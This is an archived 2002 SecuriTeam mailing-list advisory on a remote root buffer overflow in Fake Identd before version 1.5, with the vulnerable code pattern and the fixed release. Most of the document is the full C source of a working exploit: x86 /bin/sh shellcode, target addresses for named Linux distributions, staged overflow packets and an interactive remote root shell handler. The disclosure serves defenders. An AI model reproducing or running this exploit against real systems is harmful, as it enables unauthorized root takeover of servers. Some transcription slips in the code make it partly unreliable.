

[UNIX] Fake Identd Vulnerable to Remote Root Exploit

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2002-07/0135.html>

From: support@securiteam.com

Date: 07/30/02

From: support@securiteam.com

To: list@securiteam.com

Date: Tue, 30 Jul 2002 08:51:23 +0200 (CEST)

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

When was the last time you checked your server's security?

How about a monthly report?

<http://www.AutomatedScanning.com> -- Know that you're safe.

Fake Identd Vulnerable to Remote Root Exploit

SUMMARY

<<http://iki.fi/too/sw/identd.readme>> Fake Identd is a small standalone ident server with static replies. It is designed to be suitable for firewalls, IP masquerading hosts, etc. A buffer overflow in the product allows remote attackers to cause the execution of arbitrary code.

DETAILS

Vulnerable systems:

* Fake Identd versions prior to 1.5

Client queries are stored in small static global 20-bytes buffers. The related code section is similar to :

```
len = 0;
for(;;) {
  if ((l = read(s, buf + len, sizeof buf)) > 0) {
    if (query_looks_valid(buf)) {
      reply(s, buf);
    }
  } else if (len + 1 == sizeof buf) {
```

Securiteam: [UNIX] Fake Identd Vulnerable to Remote Root Exploit

```
    goto abort;
  } else {
    len += 1;
  }
}
```

The buffer boundary check is obviously broken. But splitting the data into two or more packets, the `(len + 1 == sizeof buf)` assertion can easily be bypassed.

Additionally, the `reply()` function calls the `fdprintf()` function that features yet another fixed buffer with no boundary check. This buffer is filled with the content of a global pointer (`identuser`) whose value can be tweaked using the previous vulnerability.

To reduce the impact of a possible vulnerability, Fake Identd switches to user/group 'nobody'. Unfortunately, even the uid switching part is broken. The effective uid/gid are dropped (`sete[gu]id()` calls), but the real uid/gid are still 0/0.

Impact:

Arbitrary commands can be run with root privileges. This vulnerability is remotely exploitable.

All Fake Identd versions prior to 1.5 are vulnerable on most UNIX-like systems.

Fixes:

Tomi Ollila, author and maintainer of Fake Identd, just released a new version (1.5) in order to fix these vulnerabilities.

The new version is freely downloadable from the following location:

<<http://iki.fi/too/sw/releases/identd.c>>

<http://iki.fi/too/sw/releases/identd.c>

Gentoo Linux shipped a 'portage' package of Fake Identd. That package has been removed from the distribution.

Exploit:

/* lameident3-exp.c - sloth@nopninjas.com - <http://www.nopninjas.com>

* this should work for most Linux distributions without needing

* any modifications

*

* fakeidentd exploit 3rd revision.

* v1.4 <http://software.freshmeat.net/projects/fakeidentd/>

* v1.2 <http://hangout.de/fakeidentd/>

*

* vuln found by Jedi/Sector One

* Other people who worked on the same bug and shared ideas:

* Charles "core" Stevenson, Solar Eclipse

*

Securiteam: [UNIX] Fake Identd Vulnerable to Remote Root Exploit

```
* 7/25/02
*
* Collaborative effort via the [Odd] list. Thanks to Charles Stevenson
for
* running it.
*
* Odd, irc.pulltheplug.com, b0red
*/

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <netdb.h>

#define ALIGN 1 /* you probably dont need to touch this */
#define IDENTPORT 113
#define USLEEP 200 /* delays the send()'s to avoid "broken pipe" errors */

#ifdef DEBUG
#define DUPFD "\x04"
#else
#define DUPFD "\x02"
#endif

/* dup() shellcode from Charles Stevenson <core@bokeoa.com> */
char Inx86_dupshell[]=
"\x31\xc9\xf7\xe1\x51\x5b\xb0\xa4\xcd\x80\x31\xc9\x6a" DUPFD
"\x5b\x6a\x3f\x58\xcd\x80\x41\x6a\x3f\x58\xcd\x80\x41\x6a\x3f"
"\x58\xcd\x80\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89"
"\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31"
"\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh";

struct Targets {
char *name;
long baseaddr;
char *shellcode;
};

struct Targets target[] = {
{ " gcc-2.91.66 x86\n"
" * Slackware 7.1\n"
" * RedHat 6.2\n",
0x0804b0a0, Inx86_dupshell },
{ " gcc-2.95.3/4 x86\n"
" * Slackware 8.1\n"
" * Debian 3.0\n",
```

Securiteam: [UNIX] Fake Identd Vulnerable to Remote Root Exploit

```
    0x0804a260, lnx86_dupshell },
    { (char *)0, 0, (char *)0 }
};

void sh(int sockfd);
int max(int x, int y);

void fail(char *reason) {
    printf("exploit failed: %s\n", reason);
    exit(-1);
}

long resolve(char *host) {
    struct in_addr ip;
    struct hostent *he;

    if((ip.s_addr = inet_addr(host)) == -1) {
        if(!(he = gethostbyname(host)))
            return(-1);
        else
            memcpy(&ip.s_addr, he->h_addr, 4);
    }
    return(ip.s_addr);
}

int make_connect(struct in_addr host) {
    int s;
    struct sockaddr_in sin;

    memset(&sin, 0, sizeof(sin));
    sin.sin_family = AF_INET;
    sin.sin_port = htons(IDENTPORT);
    sin.sin_addr.s_addr = host.s_addr;

    if((s = socket(AF_INET, SOCK_STREAM, 0)) <= 0)
        fail("could not create socket");

    if(connect(s, (struct sockaddr *)&sin, sizeof(sin)) < 0)
        fail("could not connect\n");

    return(s);
}

int main(int argc, char *argv[]) {
    int s, a, uwait = USLEEP, nops = 500;
    long baseaddr;
    long shelladdr = 0xbfffa090;
    long pointaddr = 0;
    char buf1[2020], buf2[32], *p, *shellcode;
    struct in_addr host;
```

Securiteam: [UNIX] Fake Identd Vulnerable to Remote Root Exploit

```
printf("lameident3-exp.c by sloth @ b0red\n");

if(argc<3) {
    printf("usage: ./lameident3-exp <target> <host> <send delay in
ms>\n");
    for(a=0;target[a].baseaddr;a++)
        printf(" %d: %x %s", a, target[a].baseaddr, target[a].name);
    exit(-1);
}

for(a=0;a<atoi(argv[1]);a++)
    if(!target[a].baseaddr
        fail("invalid target");

baseaddr = target[a].baseaddr;
shellcode = target[a].shellcode;
if(argv[3]) uwait = atoi(argv[3]);

if((host.s_addr = resolve(argv[2])) == -1)
    fail("invalid host");

memset(buf1, 0, sizeof(buf1));
memset(buf1, 0x90, sizeof(buf1)-strlen(shellcode)-1);

memcpy(&buf1[(sizeof(buf1)-strlen(shellcode)-1)],shellcode,strlen(shellcode));

s = make_connect(host);

send(s, "AAAAAAAAAAAAAAAAAAAA", 19, 0);
usleep(uwait);

memset(buf2, 0, sizeof(buf2));
buf2[0] = 'A';
*(long *)&buf2[1] = shelladdr - baseaddr - 5;

send(s, buf2, 5, 0);
usleep(uwait);

p = buf1;
printf("Writing shellcode: %d bytes to 0x%x...\n", strlen(buf1),
shelladdr);

for(a=0;a<=strlen(buf1), *p;) {

    if((a = send(s, p, strlen(p) > 19 ? 19 : strlen(p), 0)) == -1)
        fail("write error");

    p += a;
    usleep(uwait);

}
```

Securiteam: [UNIX] Fake Identd Vulnerable to Remote Root Exploit

```
close(s);
usleep(100);

s = make_connect(host);

send(s, "AAAAAAAAAAAAAAAAAAAA", 19, 0);
usleep(uwait);

memset(buf2, 0, sizeof(buf2));
buf2[0] = 'A';
*(long *)&buf2[1] = shelladdr - baseaddr + strlen(buf1) + 20 - 5;

send(s, buf2, 5, 0);
usleep(uwait);

p = buf1;
pointaddr = shelladdr + strlen(buf1) + 20;
printf("Writing pointers to 0x%x\n", pointaddr);

memset(buf1, 0, sizeof(buf1));
for(a=0;a<=512;a += 4)
    *(long *)&buf1[a] = shelladdr + 500;

for(a=0;a<=strlen(buf1), *p;) {

    if((a = send(s, p, strlen(p) > 19 ? 19 : strlen(p), 0)) == -1)
        fail("write error");

    p += a;
    usleep(uwait);

}

close(s);
usleep(uwait);

s = make_connect(host);

send(s, "AAAAAAAAAAAAAAAAAAAA", 19, 0);
usleep(uwait);

memset(buf2, 0, sizeof(buf2));
buf2[0] = 'A';
*(long *)&buf2[1] = 0xffffffff - 0x9f - 5;

send(s, buf2, 5, 0);
usleep(uwait);

memset(buf2, 0, sizeof(buf2));
*(long *)&buf2[0] = pointaddr + 200 + ALIGN;
```

Securiteam: [UNIX] Fake Identd Vulnerable to Remote Root Exploit

```
send(s, buf2, 4, 0);

close(s);
usleep(uwait);

s = make_connect(host);

send(s, "1234, 1234\n", 11, 0);
usleep(uwait);

printf("here comes the root shell!\n");
sh(s);

close(s);
}

/* mixters */
int max(int x, int y) {
    if(x > y)
        return(x);
    return(y);
}

/* mixters sh() */
void sh(int sockfd) {
    char snd[1024], rcv[1024];
    fd_set rset;
    int maxfd, n;

    strcpy(snd, "uname -a; pwd; id;\n");
    write(sockfd, snd, strlen(snd));

    for(;;) {
        FD_SET(fileno(stdin), &rset);
        FD_SET(sockfd, &rset);
        maxfd = max(fileno(stdin), sockfd) + 1;
        select(maxfd, &rset, NULL, NULL, NULL);
        if(FD_ISSET(fileno(stdin), &rset)){
            bzero(snd, sizeof(snd));
            fgets(snd, sizeof(snd)-2, stdin);
            write(sockfd, snd, strlen(snd));
        }
        if(FD_ISSET(sockfd, &rset)){
            bzero(rcv, sizeof(rcv));
            if((n = read(sockfd, rcv, sizeof(rcv))) == 0){
                printf("EOF.\n");
                exit(0);
            }
            if(n < 0)
                fail("could not spawn shell");
            fputs(rcv, stdout);
        }
    }
}
```

Securiteam: [UNIX] Fake Identd Vulnerable to Remote Root Exploit

```
}  
}  
}
```

ADDITIONAL INFORMATION

The information has been provided by <<mailto:j@pureftpd.org>> Jedi/Sector One.

=====

This bulletin is sent to members of the SecuriTeam mailing list.

To unsubscribe from the list, send mail with an empty subject line and body to:

list-unsubscribe@securiteam.com

In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

=====
=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.

-
- **Previous message:** support@securiteam.com: "[NT] Abyss Web Server Allows Remove Viewing of Files and Directory Content"
 - **Messages sorted by:** [\[date \]](#) [\[thread \]](#) [\[subject \]](#) [\[author \]](#) [\[attachment \]](#)